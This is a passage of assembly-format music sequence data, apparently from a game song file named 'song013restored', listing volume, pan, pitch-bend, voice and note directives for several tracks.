c_v-25 .byte W01 .byte c_v+0 .byte W01 .byte c_v-35 .byte W01 .byte c_v-2 .byte N01 , FsM1 .byte W56 .byte W03 ; 005 ---------------------------------------- .byte W92 .byte W03 .byte VOL , 0*song013restored_mvl/mxv .byte PAN , c_v-64 .byte BEND , c_v+1 .byte W01 ; 006 ---------------------------------------- .byte VOICE , 8 .byte BENDR , 12 .byte 12 .byte BEND , c_v-2 .byte FINE ;**************** Track 3 (Midi-Chn.5) ****************; @song013restored_3: .byte KEYSH , song013restored_key+0 ; 000 ---------------------------------------- .byte VOICE , 8 .byte MODT , 0 .byte LFOS , 44 .byte PAN , c_v+63 .byte VOL , 10*song013restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v+63 .byte VOL , 10*song013restored_mvl/mxv .byte 0*song013restored_mvl/mxv .byte PAN , c_v-64 .byte BENDR , 12 .byte VOL , 0*song013restored_mvl/mxv .byte PAN , c_v-64 .byte BENDR , 12 .byte VOL , 0*song013restored_mvl/mxv .byte BEND , c_v+0 .byte N05 , Bn2 , v088 .byte W01 .byte VOL , 0*song013restored_mvl/mxv .byte BEND , c_v+7 .byte W01 .byte VOL , 0*song013restored_mvl/mxv .byte BEND , c_v+16 .byte W01 .byte VOL , 0*song013restored_mvl/mxv .byte BEND , c_v+26 .byte W01 .byte VOL , 0*song013restored_mvl/mxv .byte BEND , c_v+34 .byte W01 .byte VOL , 0*song013restored_mvl/mxv .byte BEND , c_v+43 .byte W01 .byte VOL , 0*song013restored_mvl/mxv .byte W01 .byte 0*song013restored_mvl/mxv .byte BEND , c_v+0 .byte N05 , Cn3 .byte W01 .byte VOL , 0*song013restored_mvl/mxv .byte BEND , c_v+7 .byte W01 .byte VOL , 0*song013restored_mvl/mxv .byte BEND , c_v+16 .byte W01 .byte VOL , 0*song013restored_mvl/mxv .byte BEND , c_v+26 .byte W01 .byte VOL , 0*song013restored_mvl/mxv .byte BEND , c_v+34 .byte W01 .byte VOL , 1*song013restored_mvl/mxv .byte BEND , c_v+44 .byte W01 .byte VOL , 1*song013restored_mvl/mxv .byte W01 .byte 1*song013restored_mvl/mxv .byte BEND , c_v+0 .byte N05 , Cs3 .byte W01 .byte VOL , 1*song013restored_mvl/mxv .byte BEND , c_v+4 .byte W01 .byte VOL , 1*song013restored_mvl/mxv .byte BEND , c_v+16 .byte W01 .byte VOL , 1*song013restored_mvl/mxv .byte BEND , c_v+26 .byte W01 .byte VOL , 1*song013restored_mvl/mxv .byte BEND , c_v+34 .byte W01 .byte VOL , 1*song013restored_mvl/mxv .byte BEND , c_v+43 .byte W01 .byte VOL , 1*song013restored_mvl/mxv .byte W01 .byte 1*song013restored_mvl/mxv .byte BEND , c_v+0 .byte N05 , Dn3 .byte W01 .byte VOL , 1*song013restored_mvl/mxv .byte BEND , c_v+5 .byte W01 .byte VOL , 2*song013restored_mvl/mxv .byte BEND , c_v+14 .byte W01 .byte VOL , 2*song013restored_mvl/mxv .byte BEND , c_v+26 .byte W01 .byte VOL , 2*song013restored_mvl/mxv .byte BEND , c_v+35 .byte W01 .byte VOL , 2*song013restored_mvl/mxv .byte BEND , c_v+43 .byte W01 .byte VOL , 2*song013restored_mvl/mxv .byte W01 .byte 2*song013restored_mvl/mxv .byte BEND , c_v+0 .byte N05 , Ds3 .byte W01 .byte VOL , 2*song013restored_mvl/mxv .byte BEND , c_v+4 .byte W01 .byte VOL , 2*song013restored_mvl/mxv .byte BEND , c_v+14 .byte W01 .byte VOL , 2*song013restored_mvl/mxv .byte BEND , c_v+24 .byte W01 .byte VOL , 2*song013restored_mvl/mxv .byte BEND , c_v+35 .byte W01 .byte VOL , 2*song013restored_mvl/mxv .byte BEND , c_v+43 .byte W01 .byte VOL , 3*song013restored_mvl/mxv .byte W01 .byte 3*song013restored_mvl/mxv .byte BEND , c_v+0 .byte N05 , En3 .byte W01 .byte VOL , 3*song013restored_mvl/mxv .byte BEND , c_v+4 .byte W01 .byte VOL , 3*song013restored_mvl/mxv .byte BEND , c_v+14 .byte W01 .byte VOL , 3*song013restored_mvl/mxv .byte BEND , c_v+24 .byte W01 .byte VOL , 4*song013restored_mvl/mxv .byte BEND , c_v+33 .byte W01 .byte VOL , 4*song013restored_mvl/mxv .byte BEND , c_v+43 .byte W01 .byte VOL , 4*song013restored_mvl/mxv .byte W01 .byte 4*song013restored_mvl/mxv .byte BEND , c_v+0 .byte N05 , Fs3 .byte W01 .byte VOL , 4*song013restored_mvl/mxv .byte W01 .byte 4*song013restored_mvl/mxv .byte BEND , c_v+14 .byte W01 .byte VOL , 4*song013restored_mvl/mxv .byte BEND , c_v+25 .byte W01 .byte VOL , 4*song013restored_mvl/mxv .byte BEND , c_v+34 .byte W01 .byte VOL , 5*song013restored_mvl/mxv .byte BEND , c_v+44 .byte W01 .byte VOL , 5*song013restored_mvl/mxv .byte W01 .byte 5*song013restored_mvl/mxv .byte W01 .byte 5*song013restored_mvl/mxv .byte BEND , c_v+0 .byte N04 , Gn3 .byte W01 .byte VOL , 5*song013restored_mvl/mxv .byte BEND , c_v+8 .byte W01 .byte VOL , 5*song013restored_mvl/mxv .byte BEND , c_v+25 .byte W01 .byte VOL , 6*song013restored_mvl/mxv .byte BEND , c_v+34 .byte W01 .byte VOL , 6*song013restored_mvl/mxv .byte BEND , c_v+41 .byte W01 .byte VOL , 6*song013restored_mvl/mxv .byte W01 .byte 6*song013restored_mvl/mxv .byte W01 .byte 6*song013restored_mvl/mxv .byte BEND , c_v+0 .byte N05 , Gs3 .byte W01 .byte VOL , 7*song013restored_mvl/mxv .byte BEND , c_v+8 .byte W01 .byte VOL , 7*song013restored_mvl/mxv .byte BEND , c_v+21 .byte W01 .byte VOL , 7*song013restored_mvl/mxv .byte BEND , c_v+34 .byte W01 .byte VOL , 7*song013restored_mvl/mxv .byte BEND , c_v+43 .byte W01 .byte VOL , 7*song013restored_mvl/mxv .byte W01 .byte 8*song013restored_mvl/mxv .byte W01 .byte 8*song013restored_mvl/mxv .byte BEND , c_v+0 .byte N05 , An3 .byte W01 .byte VOL , 8*song013restored_mvl/mxv .byte BEND , c_v+8 .byte W01 .byte VOL , 8*song013restored_mvl/mxv .byte BEND , c_v+17 .byte W01 .byte VOL , 8*song013restored_mvl/mxv .byte BEND , c_v+31 .byte W01 .byte VOL , 8*song013restored_mvl/mxv .byte BEND , c_v+44 .byte W01 .byte VOL , 9*song013restored_mvl/mxv .byte W01 .byte 9*song013restored_mvl/mxv .byte W01 .byte 10*song013restored_mvl/mxv .byte BEND , c_v+0 .byte N05 , As3 .byte W01 .byte VOL , 10*song013restored_mvl/mxv .byte BEND , c_v+8 .byte W01 .byte VOL , 10*song013restored_mvl/mxv .byte BEND , c_v+17 .byte W01 .byte VOL , 10*song013restored_mvl/mxv .byte PAN , c_v+63 .byte VOL , 10*song013restored_mvl/mxv .byte BEND , c_v+31 .byte W01 .byte c_v+41 .byte W01 .byte c_v+43 .byte W02 .byte c_v+0 .byte N05 , Bn2 .byte W01 .byte BEND , c_v+8 .byte W01 .byte c_v+21 .byte W01 .byte c_v+31 .byte W01 .byte c_v+41 .byte W01 .byte c_v+43 .byte W02 .byte c_v+0 .byte N05 , Bn3 .byte W01 .byte BEND , c_v+8 .byte W01 .byte c_v+17 .byte W01 .byte c_v+32 .byte W01 .byte c_v+42 .byte W03 .byte c_v+0 .byte N05 , Cn4 .byte W01 .byte BEND , c_v+8 .byte W01 .byte c_v+17 .byte W01 .byte c_v+31 .byte W01 ; 001 ---------------------------------------- .byte c_v+40 .byte W01 .byte c_v+43 .byte W02 .byte c_v+0 .byte N04 , Cs4 .byte W01 .byte BEND , c_v+8 .byte W01 .byte VOL , 24*song013restored_mvl/mxv .byte PAN , c_v+0 .byte BEND , c_v+17 .byte W01 .byte c_v+26 .byte W01 .byte VOL , 10*song013restored_mvl/mxv .byte PAN , c_v-64 .byte BEND , c_v+35 .byte W01 .byte c_v+42 .byte W02 .byte c_v+0 .byte N05 , Dn4 .byte W01 .byte BEND , c_v+8 .byte W01 .byte c_v+17 .byte W01 .byte c_v+26 .byte W01 .byte c_v+35 .byte W01 .byte c_v+43 .byte W02 .byte c_v+0 .byte N05 , Ds4 .byte W01 .byte BEND , c_v+8 .byte W01 .byte c_v+17 .byte W01 .byte c_v+26 .byte W01 .byte c_v+39 .byte W01 .byte c_v+42 .byte W02 .byte c_v+0 .byte N04 , En4 .byte W01 .byte VOL , 24*song013restored_mvl/mxv .byte BEND , c_v+8 .byte W01 .byte c_v+17 .byte W01 .byte c_v+26 .byte W01 .byte VOL , 50*song013restored_mvl/mxv .byte PAN , c_v+21 .byte VOL , 44*song013restored_mvl/mxv .byte PAN , c_v+16 .byte BEND , c_v+40 .byte W01 .byte c_v-1 .byte N01 , EnM1 .byte W01 .byte VOL , 39*song013restored_mvl/mxv .byte PAN , c_v+0 .byte W01 .byte VOL , 44*song013restored_mvl/mxv .byte PAN , c_v+16 .byte BEND , c_v+0 .byte N04 , Bn2 .byte W01 .byte VOL , 50*song013restored_mvl/mxv .byte PAN , c_v+21 .byte VOL , 24*song013restored_mvl/mxv .byte PAN , c_v-64 .byte BEND , c_v+8 .byte W01 .byte c_v+16 .byte W01 .byte c_v+26 .byte W01 .byte c_v+34 .byte W01 .byte c_v+42 .byte W02 .byte c_v+0 .byte N05 , Cn3 .byte W01 .byte BEND , c_v+6 .byte W01 .byte c_v+16 .byte W01 .byte VOL , 10*song013restored_mvl/mxv .byte BEND , c_v+26 .byte W01 .byte c_v+34 .byte W01 .byte c_v+42 .byte W02 .byte c_v+0 .byte N05 , Cs3 .byte W01 .byte BEND , c_v+6 .byte W01 .byte c_v+16 .byte W01 .byte c_v+26 .byte W01 .byte c_v+34 .byte W01 .byte c_v+42 .byte W01 .byte VOL , 24*song013restored_mvl/mxv .byte PAN , c_v+0 .byte W01 .byte BEND , c_v+0 .byte N05 , Dn3 .byte W01 .byte BEND , c_v+6 .byte W01 .byte c_v+15 .byte W01 .byte c_v+25 .byte W01 .byte c_v+35 .byte W01 .byte c_v+42 .byte W01 .byte VOL , 10*song013restored_mvl/mxv .byte PAN , c_v+63 .byte W01 .byte BEND , c_v+0 .byte N05 , Ds3 .byte W01 .byte BEND , c_v+6 .byte W01 .byte c_v+15 .byte W01 .byte c_v+25 .byte W01 .byte c_v+35 .byte W01 .byte c_v+42 .byte W02 .byte c_v+0 .byte N05 , En3 .byte W01 .byte BEND , c_v+4 .byte W01 .byte VOL , 24*song013restored_mvl/mxv .byte BEND , c_v+16 .byte W01 .byte c_v+26 .byte W01 .byte c_v+35 .byte W01 .byte c_v+43 .byte W02 .byte c_v+0 .byte N05 , Fs3 .byte W01 .byte BEND , c_v+3 .byte W01 .byte c_v+14 .byte W01 .byte c_v+25 .byte W01 .byte VOL , 10*song013restored_mvl/mxv .byte BEND , c_v+35 .byte W01 .byte c_v+41 .byte W02 .byte c_v+0 .byte N05 , Gn3 .byte W01 .byte BEND , c_v+3 .byte W01 .byte c_v+13 .byte W01 .byte c_v+25 .byte W01 .byte c_v+34 .byte W01 .byte c_v+44 .byte W02 .byte VOL , 24*song013restored_mvl/mxv .byte PAN , c_v+0 .byte BEND , c_v+0 .byte N05 , Gs3 .byte W01 .byte BEND , c_v+4 .byte W01 .byte c_v+14 .byte W01 .byte c_v+22 .byte W01 .byte c_v+33 .byte W01 .byte c_v+41 .byte W01 .byte VOL , 10*song013restored_mvl/mxv .byte PAN , c_v-64 .byte W02 .byte BEND , c_v+3 .byte N04 , An3 .byte W01 ; 002 ---------------------------------------- .byte BEND , c_v+12 .byte W01 .byte c_v+23 .byte W01 .byte c_v+34 .byte W01 .byte c_v+41 .byte W03 .byte c_v+2 .byte N05 , As3 .byte W01 .byte BEND , c_v+8 .byte W01 .byte VOL , 24*song013restored_mvl/mxv .byte BEND , c_v+23 .byte W01 .byte c_v+32 .byte W01 .byte c_v+43 .byte W03 .byte c_v+0 .byte N05 , Bn2 .byte W01 .byte BEND , c_v+13 .byte W01 .byte c_v+21 .byte W01 .byte c_v+32 .byte W01 .byte VOL , 50*song013restored_mvl/mxv .byte PAN , c_v+21 .byte VOL , 44*song013restored_mvl/mxv .byte PAN , c_v+16 .byte BEND , c_v+42 .byte W01 .byte VOL , 39*song013restored_mvl/mxv .byte PAN , c_v+0 .byte W02 .byte VOL , 44*song013restored_mvl/mxv .byte PAN , c_v+16 .byte BEND , c_v+0 .byte N05 , Bn3 .byte W01 .byte VOL , 24*song013restored_mvl/mxv .byte PAN , c_v-64 .byte BEND , c_v+12 .byte W01 .byte c_v+21 .byte W01 .byte c_v+33 .byte W01 .byte c_v+42 .byte W01 .byte c_v+44 .byte W02 .byte c_v+0 .byte N05 , Cn4 .byte W01 .byte BEND , c_v+8 .byte W01 .byte VOL , 10*song013restored_mvl/mxv .byte BEND , c_v+22 .byte W01 .byte c_v+31 .byte W01 .byte c_v+40 .byte W01 .byte c_v+43 .byte W02 .byte c_v+0 .byte N04 , Cs4 .byte W01 .byte BEND , c_v+8 .byte W01 .byte c_v+17 .byte W01 .byte c_v+31 .byte W01 .byte c_v+41 .byte W02 .byte VOL , 24*song013restored_mvl/mxv .byte PAN , c_v+0 .byte W01 .byte BEND , c_v+0 .byte N04 , Dn4 .byte W01 .byte BEND , c_v+8 .byte W01 .byte c_v+17 .byte W01 .byte c_v+26 .byte W01 .byte c_v+41 .byte W01 .byte VOL , 10*song013restored_mvl/mxv .byte PAN , c_v+63 .byte W02 .byte BEND , c_v+0 .byte N05 , Ds4 .byte W01 .byte BEND , c_v+8 .byte W01 .byte c_v+17 .byte W01 .byte c_v+30 .byte W01 .byte c_v+41 .byte W01 .byte c_v+43 .byte W02 .byte c_v+0 .byte N04 , En4 .byte W01 .byte VOL , 24*song013restored_mvl/mxv .byte BEND , c_v+8 .byte W01 .byte c_v+17 .byte W01 .byte c_v+26 .byte W01 .byte c_v+40 .byte W01 .byte c_v+1 .byte N01 , CsM2 .byte W02 .byte BEND , c_v+0 .byte N05 , Bn2 .byte W01 .byte BEND , c_v+6 .byte W01 .byte c_v+16 .byte W01 .byte c_v+25 .byte W01 .byte VOL , 10*song013restored_mvl/mxv .byte BEND , c_v+39 .byte W03 .byte c_v+0 .byte N04 , Cn3 .byte W01 .byte BEND , c_v+4 .byte W01 .byte c_v+16 .byte W01 .byte c_v+25 .byte W01 .byte c_v+34 .byte W01 .byte c_v+43 .byte W02 .byte VOL , 24*song013restored_mvl/mxv .byte PAN , c_v+0 .byte BEND , c_v+0 .byte N05 , Cs3 .byte W01 .byte BEND , c_v+7 .byte W01 .byte c_v+16 .byte W01 .byte c_v+26 .byte W01 .byte c_v+34 .byte W01 .byte c_v+44 .byte W01 .byte VOL , 10*song013restored_mvl/mxv .byte PAN , c_v-64 .byte W01 .byte BEND , c_v+0 .byte N05 , Dn3 .byte W02 .byte BEND , c_v+14 .byte W01 .byte c_v+26 .byte W01 .byte c_v+33 .byte W01 .byte c_v+43 .byte W02 .byte c_v+0 .byte N05 , Ds3 .byte W02 .byte VOL , 24*song013restored_mvl/mxv .byte BEND , c_v+15 .byte W01 .byte c_v+23 .byte W01 .byte c_v+35 .byte W01 .byte c_v+41 .byte W01 ; 003 ---------------------------------------- .byte W01 .byte c_v+0 .byte N05 , En3 .byte W01 .byte BEND , c_v+6 .byte W01 .byte c_v+16 .byte W01 .byte c_v+25 .byte W01 .byte VOL , 50*song013restored_mvl/mxv .byte PAN , c_v+21 .byte BEND , c_v+34 .byte W01 .byte VOL , 44*song013restored_mvl/mxv .byte PAN , c_v+16 .byte BEND , c_v+43 .byte W01 .byte VOL , 39*song013restored_mvl/mxv .byte PAN , c_v+0 .byte W01 .byte VOL , 44*song013restored_mvl/mxv .byte PAN , c_v+16 .byte BEND , c_v+0 .byte N05 , Fs3 .byte W01 .byte VOL , 50*song013restored_mvl/mxv .byte PAN , c_v+21 .byte VOL , 24*song013restored_mvl/mxv .byte PAN , c_v-64 .byte BEND , c_v-2 .byte W01 .byte c_v+14 .byte W01 .byte c_v+24 .byte W01 .byte c_v+35 .byte W01 .byte c_v+42 .byte W02 .byte c_v+0 .byte N05 , Gn3 .byte W02 .byte BEND , c_v+16 .byte W01 .byte VOL , 10*song013restored_mvl/mxv .byte BEND , c_v+25 .byte W01 .byte c_v+31 .byte W01 .byte c_v+44 .byte W02 .byte c_v+0 .byte N05 , Gs3 .byte W02 .byte BEND , c_v+13 .byte W01 .byte c_v+23 .byte W01 .byte c_v+35 .byte W01 .byte c_v+41 .byte W02 .byte VOL , 24*song013restored_mvl/mxv .byte PAN , c_v+0 .byte W01 .byte BEND , c_v+3 .byte N05 , An3 .byte W01 .byte BEND , c_v+14 .byte W01 .byte c_v+23 .byte W01 .byte c_v+32 .byte W01 .byte c_v+44 .byte W01 .byte VOL , 10*song013restored_mvl/mxv .byte PAN , c_v+63 .byte W02 .byte BEND , c_v+0 .byte N04 , As3 .byte W01 .byte BEND , c_v+8 .byte W01 .byte c_v+24 .byte W01 .byte c_v+33 .byte W01 .byte c_v+42 .byte W03 .byte c_v+0 .byte N05 , Bn2 .byte W01 .byte VOL , 24*song013restored_mvl/mxv .byte BEND , c_v+13 .byte W01 .byte c_v+16 .byte W01 .byte c_v+31 .byte W01 .byte c_v+42 .byte W04 .byte VOL , 10*song013restored_mvl/mxv .byte W24 .byte W02 .byte 0*song013restored_mvl/mxv .byte PAN , c_v-64 .byte W18 ; 004 ---------------------------------------- .byte W96 ; 005 ---------------------------------------- .byte W92 .byte W03 .byte VOL , 0*song013restored_mvl/mxv .byte PAN , c_v-64 .byte BEND , c_v+0 .byte W01 ; 006 ---------------------------------------- .byte VOICE , 8 .byte BENDR , 12 .byte 12 .byte BEND , c_v+42 .byte FINE ;**************** Track 4 (Midi-Chn.6) ****************; @song013restored_4: .byte KEYSH , song013restored_key+0 ; 000 ---------------------------------------- .byte VOICE , 8 .byte MODT , 0 .byte LFOS , 44 .byte PAN , c_v+0 .byte VOL , 39*song013restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v+0 .byte VOL , 39*song013restored_mvl/mxv .byte 0*song013restored_mvl/mxv .byte PAN , c_v-64 .byte BENDR , 12 .byte VOL , 0*song013restored_mvl/mxv .byte PAN , c_v-64 .byte BENDR , 12 .byte BEND , c_v+2 .byte W22 .byte VOL , 24*song013restored_mvl/mxv .byte PAN , c_v+0 .byte W40 .byte VOL , 39*song013restored_mvl/mxv .byte W28 .byte 50*song013restored_mvl/mxv .byte W06 ; 001 ---------------------------------------- .byte W20 .byte 59*song013restored_mvl/mxv .byte W72 .byte W02 .byte 61*song013restored_mvl/mxv .byte PAN , c_v-5 .byte W01 .byte VOL , 65*song013restored_mvl/mxv .byte PAN , c_v+0 .byte BEND , c_v+1 .byte N02 , En0 , v088 .byte W01 ; 002 ---------------------------------------- .byte BEND , c_v+7 .byte W01 .byte c_v+0 .byte N01 , DsM1 .byte N01 , BnM1 .byte N01 , Fs1 .byte W01 .byte BEND , c_v-1 .byte N01 , CnM2 .byte N01 , Fs1 .byte W01 .byte BEND , c_v-7 .byte N01 , BnM1 .byte W01 .byte BEND , c_v+2 .byte N01 , Dn1 .byte W01 .byte BEND , c_v+0 .byte N01 , AsM1 .byte W01 .byte BEND , c_v-1 .byte N01 , Bn0 .byte W01 .byte BEND , c_v-2 .byte N01 , FsM1 .byte W01 .byte BEND , c_v-5 .byte N01 , Cn1 .byte W01 .byte BEND , c_v+2 .byte N01 , GsM1 .byte W01 .byte BEND , c_v-6 .byte N01 , An0 .byte W01 .byte BEND , c_v+5 .byte N01 , AnM1 .byte W01 .byte BEND , c_v-11 .byte N01 , Ds1 .byte W01 .byte BEND , c_v+8 .byte N01 , EnM1 .byte W01 .byte BEND , c_v-8 .byte N01 , En1 .byte W01 .byte BEND , c_v-1 .byte N01 , EnM1 .byte N01 , Bn0 .byte W01 .byte BEND , c_v-9 .byte W01 .byte c_v-1 .byte N01 , CnM2 .byte N01 , FsM1 .byte N01 , Bn0 .byte N01 , Fs1 .byte W01 .byte BEND , c_v-5 .byte N01 , AnM1 .byte W01 .byte BEND , c_v-1 .byte N01 , AsM1 .byte N01 , Cn1 .byte N01 , Gn1 .byte W01 .byte BEND , c_v+0 .byte N03 , Ds0 .byte W01 .byte BEND , c_v+8 .byte W01 .byte c_v-9 .byte W01 .byte c_v+0 .byte N01 , Ds1 .byte W01 .byte BEND , c_v+1 .byte N03 , BnM1 .byte W01 .byte BEND , c_v+8 .byte W01 .byte c_v+1 .byte W01 .byte c_v-8 .byte N01 , Dn1 .byte W01 .byte BEND , c_v-1 .byte N01 , Cn0 .byte W01 .byte BEND , c_v-5 .byte N01 , Dn1 .byte W01 .byte BEND , c_v-1 .byte N01 , FsM1 .byte N01 , Cn1 .byte W01 .byte BEND , c_v+0 .byte N01 , AnM1 .byte W01 .byte BEND , c_v+0 .byte N01 , Ds1 .byte W01 .byte BEND , c_v-9 .byte N01 , Ds0 .byte W01 .byte BEND , c_v+0 .byte N01 , En1 .byte W01 .byte BEND , c_v-4 .byte N01 , GsM1 .byte W01 .byte BEND , c_v+2 .byte N01 , As0 .byte W01 .byte BEND , c_v-2 .byte N01 , GsM1 .byte W01 .byte BEND , c_v+0 .byte N04 , An0 .byte W01 .byte BEND , c_v+0 .byte W01 .byte c_v-2 .byte W01 .byte c_v-7 .byte W01 .byte c_v-2 .byte W01 .byte c_v+3 .byte N01 , FsM1 .byte W01 .byte BEND , c_v-7 .byte N01 , AsM1 .byte N01 , Gn1 .byte W01 .byte BEND , c_v+0 .byte N01 , FnM1 .byte W01 .byte BEND , c_v-1 .byte N01 , GsM1 .byte N01 , Cs1 .byte W01 .byte BEND , c_v-1 .byte N01 , Fn1 .byte W01 .byte BEND , c_v-9 .byte N01 , AsM1 .byte N01 , Dn0 .byte N01 , Gn1 .byte W01 .byte BEND , c_v+0 .byte N01 , Ds1 .byte W01 .byte BEND , c_v-4 .byte N01 , AsM1 .byte W01 .byte BEND , c_v+2 .byte N01 , Bn0 .byte W01 .byte BEND , c_v+0 .byte N03 , AsM1 .byte W01 .byte BEND , c_v+10 .byte W01 .byte c_v-5 .byte W01 .byte c_v-1 .byte N01 , En1 .byte W01 .byte BEND , c_v+5 .byte N01 , FnM1 .byte W01 .byte BEND , c_v-4 .byte N01 , Cs1 .byte W01 .byte BEND , c_v+0 .byte N01 , GsM1 .byte W01 .byte BEND , c_v+0 .byte N01 , CnM2 .byte N01 , AsM1 .byte N01 , As0 .byte N01 , Fs1 .byte W01 .byte BEND , c_v-6 .byte W01 .byte c_v-6 .byte N02 , Cs0 .byte N01 , Dn1 .byte W01 .byte BEND , c_v-4 .byte W01 .byte c_v+9 .byte W01 .byte c_v-7 .byte N01 , Cn0 .byte N01 , Fn1 .byte W01 .byte BEND , c_v+0 .byte N01 , Cn1 .byte W01 .byte BEND , c_v+0 .byte N01 , GsM1 .byte W01 .byte BEND , c_v+2 .byte N01 , An0 .byte W01 .byte BEND , c_v+0 .byte N03 , FsM1 .byte W01 .byte BEND , c_v+9 .byte W01 .byte c_v-2 .byte W01 .byte c_v+0 .byte N01 , Gn0 .byte W01 .byte BEND , c_v+0 .byte N01 , GnM1 .byte W01 .byte BEND , c_v-6 .byte N01 , Fn1 .byte W01 .byte BEND , c_v+0 .byte N01 , FsM1 .byte W01 .byte BEND , c_v-11 .byte N01 , Cn1 .byte W01 .byte BEND , c_v+0 .byte N01 , FsM1 .byte W01 .byte BEND , c_v-9 .byte N01 , AsM1 .byte N11 , Ds0 .byte N01 , An0 .byte N01 , Gn1 .byte W01 .byte BEND , c_v+5 .byte W01 .byte c_v-8 .byte W01 .byte c_v+7 .byte W01 .byte c_v-5 .byte W01 .byte c_v+3 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v-10 .byte W01 .byte c_v+5 .byte W01 .byte c_v+0 .byte W01 .byte c_v-2 .byte N01 , Ds1 .byte W01 .byte BEND , c_v-4 .byte N01 , GsM1 .byte W01 .byte BEND , c_v+0 .byte N01 , Dn0 .byte N01 , En1 .byte W01 .byte BEND , c_v+0 .byte W01 .byte c_v+0 .byte N01 , AsM1 .byte N01 , Fn1 .byte W01 .byte BEND , c_v+5 .byte W01 .byte c_v-5 .byte N05 , Cs0 .byte N01 , Cs1 .byte W01 .byte BEND , c_v+0 .byte W01 ; 003 ---------------------------------------- .byte c_v-2 .byte W01 .byte c_v+3 .byte W01 .byte c_v-8 .byte W01 .byte c_v-9 .byte N01 , AsM1 .byte N01 , Gn1 .byte W01 .byte BEND , c_v-1 .byte N01 , FsM1 .byte W01 .byte BEND , c_v-4 .byte N01 , En1 .byte W01 .byte BEND , c_v+1 .byte N01 , EnM1 .byte W01 .byte BEND , c_v+4 .byte N01 , As0 .byte W01 .byte BEND , c_v+0 .byte N01 , EnM1 .byte W01 .byte BEND , c_v-1 .byte N01 , AsM1 .byte N01 , Bn0 .byte N01 , Gn1 .byte W01 .byte BEND , c_v+5 .byte N01 , AsM1 .byte W01 .byte BEND , c_v-1 .byte N07 , Cs0 .byte N01 , Ds1 .byte W01 .byte BEND , c_v-5 .byte W01 .byte c_v-3 .byte W01 .byte c_v+1 .byte W01 .byte c_v+0 .byte W01 .byte c_v+2 .byte W01 .byte c_v-7 .byte W01 .byte c_v-1 .byte N01 , CnM2 .byte N01 , Fs1 .byte W01 .byte BEND , c_v-1 .byte N01 , EnM1 .byte W01 .byte BEND , c_v-3 .byte N01 , Fn1 .byte W01 .byte BEND , c_v-3 .byte N01 , GnM1 .byte W01 .byte BEND , c_v-4 .byte N01 , Gs0 .byte W01 .byte BEND , c_v+0 .byte N01 , FsM1 .byte W01 .byte BEND , c_v-10 .byte N01 , Fn1 .byte W01 .byte BEND , c_v+8 .byte N01 , FnM1 .byte W01 .byte BEND , c_v+0 .byte N01 , GsM1 .byte N01 , Cs1 .byte W01 .byte BEND , c_v+3 .byte W01 .byte c_v-9 .byte N01 , An0 .byte W01 .byte BEND , c_v+7 .byte N01 , EnM1 .byte W01 .byte BEND , c_v-1 .byte N01 .byte N01 , Fn0 .byte W01 .byte BEND , c_v+0 .byte N01 , Fn1 .byte W01 .byte BEND , c_v-1 .byte N01 , AsM1 .byte W01 .byte BEND , c_v-1 .byte N01 , DsM2 .byte N01 , Fs1 .byte W01 .byte BEND , c_v-8 .byte N01 , Cs0 .byte W01 .byte BEND , c_v-1 .byte N01 , Ds1 .byte W01 .byte BEND , c_v+0 .byte N01 , Cn0 .byte W01 .byte BEND , c_v-1 .byte N01 , AsM1 .byte N01 , En1 .byte N01 , Gn1 .byte W01 .byte BEND , c_v+0 .byte N01 , GsM1 .byte W01 .byte BEND , c_v-1 .byte N09 , Dn0 .byte N01 , Ds1 .byte W01 .byte BEND , c_v-7 .byte W01 .byte c_v+2 .byte W01 .byte c_v-1 .byte W01 .byte c_v-1 .byte W01 .byte c_v-4 .byte W01 .byte c_v+2 .byte W01 .byte c_v-2 .byte W01 .byte c_v-8 .byte W01 .byte c_v+0 .byte N01 , FsM1 .byte N01 , Fs1 .byte W01 .byte BEND , c_v+0 .byte N01 , BnM1 .byte W01 .byte BEND , c_v+0 .byte N01 , Cs1 .byte W01 .byte BEND , c_v-1 .byte N01 , CnM2 .byte N01 , Fs1 .byte W01 .byte VOL , 59*song013restored_mvl/mxv .byte BEND , c_v+0 .byte N01 , EnM1 .byte W01 .byte BEND , c_v+2 .byte N01 , Dn1 .byte W01 .byte BEND , c_v+5 .byte N01 , EnM1 .byte W01 .byte BEND , c_v+1 .byte N01 , Bn0 .byte W01 .byte BEND , c_v+5 .byte N01 , GsM1 .byte W01 .byte BEND , c_v-9 .byte N05 , An0 .byte W01 .byte BEND , c_v-6 .byte W01 .byte c_v-5 .byte W01 .byte c_v-7 .byte W01 .byte c_v-2 .byte W01 .byte c_v-1 .byte N01 , CnM2 .byte N01 , Fs1 .byte W01 .byte VOL , 50*song013restored_mvl/mxv .byte BEND , c_v+0 .byte N01 , AsM1 .byte W01 .byte BEND , c_v-2 .byte N01 , Fn1 .byte W01 .byte BEND , c_v-6 .byte N01 , AsM1 .byte W01 .byte BEND , c_v+0 .byte N01 , DsM2 .byte N01 , Fs1 .byte W01 .byte BEND , c_v+0 .byte N01 , Cn0 .byte W01 .byte BEND , c_v+0 .byte N01 , Ds1 .byte W01 .byte BEND , c_v-3 .byte N01 , AnM1 .byte W01 .byte BEND , c_v-8 .byte N01 , Bn0 .byte W01 .byte BEND , c_v+1 .byte N05 , AsM1 .byte W01 .byte BEND , c_v+3 .byte W01 .byte c_v-1 .byte W01 .byte VOL , 39*song013restored_mvl/mxv .byte BEND , c_v+6 .byte W01 .byte c_v+1 .byte W01 .byte c_v-7 .byte N01 , Fn1 .byte W01 .byte BEND , c_v+0 .byte N01 , GsM1 .byte N01 , En1 .byte W01 .byte BEND , c_v+0 .byte N01 , AnM1 .byte W01 .byte BEND , c_v+0 .byte N01 , Cn1 .byte W01 .byte BEND , c_v+0 .byte N01 , Cn0 .byte W01 .byte BEND , c_v-1 .byte N01 , Fn1 .byte W01 .byte BEND , c_v-7 .byte N01 , BnM1 .byte W01 .byte BEND , c_v+0 .byte N01 , Cs1 .byte W01 .byte BEND , c_v+1 .byte N01 , GsM1 .byte W01 .byte BEND , c_v+0 .byte N01 , An0 .byte W01 .byte BEND , c_v+5 .byte N03 , GnM1 .byte W01 .byte BEND , c_v+7 .byte W01 .byte VOL , 24*song013restored_mvl/mxv .byte BEND , c_v+3 .byte W01 .byte c_v+0 .byte N01 , Gn0 .byte W01 .byte BEND , c_v+3 .byte N01 , FsM1 .byte W01 .byte BEND , c_v+0 .byte N01 , FnM1 .byte N01 , Ds1 .byte W01 .byte BEND , c_v+0 .byte W01 .byte c_v+0 .byte N01 , GsM1 .byte N01 , En1 